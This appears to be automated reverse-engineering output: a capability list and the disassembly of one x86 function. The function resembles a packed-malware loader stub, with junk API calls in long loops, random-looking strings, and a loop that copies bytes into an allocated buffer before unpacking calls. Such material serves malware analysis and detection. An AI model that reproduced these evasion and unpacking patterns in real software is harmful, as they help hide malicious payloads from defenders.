Function at 0x419320
Capabilities:
Accept command line arguments
Connect pipe
Copy file
Create directory
Get file attributes
Get hostname
Manipulate console buffer
Query environment variable
Read pipe
Set console window title
Set file attributes
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc8c
mov eax, dword [0x41d004]
xor eax, esp
mov dword [esp + 0xc88], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
xor esi, esi
or ebx, 0xffffffff
cmp esi, 0x4fa
jne 0x41935f
mov eax, dword [0x41e99c]
add eax, 0x9e49
mov dword [0x2b3ad3c], eax
cmp dword [0x2b3ad3c], 0xeb1
jne 0x41938c
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x20], ecx
call edi
mov dword [0x41f7c8], 0xec58ac98
mov dword [0x41f7cc], ebx
inc esi
cmp esi, 0x1238bdc
jl 0x419348
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x5605e1
jne 0x4193b4
mov edx, dword [0x41e990]
mov dword [0x2b3ad40], edx
cmp dword [0x2b3ad3c], 0x168
jne 0x4193c2
call edi
inc esi
cmp esi, 0x602bdc
jl 0x4193a0
cmp dword [0x2b3ad3c], 0x7c
jne 0x4194df
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x894]
push edx
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0x2e
lea eax, [esp + 0x64]
push edi
push eax
mov dword [esp + 0x68], edi
call fcn.00405060
add esp, 0xc
push edi
lea ecx, [esp + 0x60]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
lea ecx, [esp + 0x2c]
push ecx
xor edx, edx
push edx
xor eax, eax
push eax
lea ecx, [esp + 0x24]
push ecx
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
push edi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
lea edx, [esp + 0x94]
push edx
push edi
call esi
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
cmp dword [0x2b3ad3c], 0x2d
jne 0x4194b6
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x2b3ad3c], 0x54
jne 0x4194cb
push edi
push edi
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
call fcn.00401494
add esp, 4
push edi
call fcn.00401555
fstp st(0)
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTimes]
xor esi, esi
lea ecx, [ecx]
call edi
cmp esi, 0x25627
jge 0x41950a
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetUserObjectInformationA]
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x2c]
push eax
call ebx
cmp esi, 0x24bf3
jg 0x41952e
inc esi
cmp esi, 0xf0169
jl 0x4194f0
jmp 0x419550
cmp dword [0x2b3ad3c], 0xa
jne 0x419550
push 0
lea ecx, [esp + 0x94]
push ecx
push 0
push str.kiwijelitoxij
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
mov eax, dword [0x2b3ad3c]
cmp eax, 0x2a
jne 0x419606
xor esi, esi
push esi
mov dword [0x2b3ac08], esi
mov dword [0x2b3ac0c], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push str.zazatuxuvayedafikidizunivolegurewafeyotipuhozilodipayawenocusedenetaleyoyesu
push str.kadavemaluyerewoxubasepefonekecesafomajayunabix
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040100f
call fcn.00405d31
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.004012ff
push esi
push esi
push esi
call fcn.0040127a
add esp, 0x2c
push esi
push esi
push esi
push esi
call fcn.004012af
push esi
call fcn.0040147d
add esp, 0x14
push esi
call fcn.004017eb
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x2b3ad3c]
mov esi, eax
xor ecx, ecx
mov dword [0x2b3aa5c], esi
test edx, edx
je 0x41964c
mov edi, dword [0x2b3ad40]
mov eax, 0x17bc
mov edi, edi
mov bl, byte [edi + ecx + 0x9e49]
mov byte [ecx + esi], bl
cmp edx, 0x8d
jne 0x419647
mov dword [0x2b3aa60], eax
inc ecx
cmp ecx, edx
jb 0x419630
call fcn.004190c0
call fcn.00418fc0
call fcn.004192b0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
lea esp, [esp]
cmp dword [0x2b3ad3c], 0x41
jne 0x419691
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp esi, 0xd606b
jne 0x41969e
call fcn.00418fb0
cmp dword [0x2b3ad3c], 0xc
jne 0x4196b4
push 0
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc esi
cmp esi, 0x24e87d
jl 0x419670
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, 0x1d5705
mov edi, 0x8e46aec0
lea ecx, [ecx]
cmp dword [0x2b3ad3c], 0x7c4
mov dword [0x2b3aa64], edi
jne 0x4196eb
push 0
push str.xevoyupewutatemoc
call esi
dec ebx
jne 0x4196d0
mov ecx, dword [esp + 0x3c]
xor eax, eax
cmp eax, 0x408e
jle 0x419703
cmp ecx, 0xf5bed7
jne 0x41970b
inc eax
cmp eax, 0x687ed2
jl 0x4196f4
mov ecx, dword [esp + 0xc94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret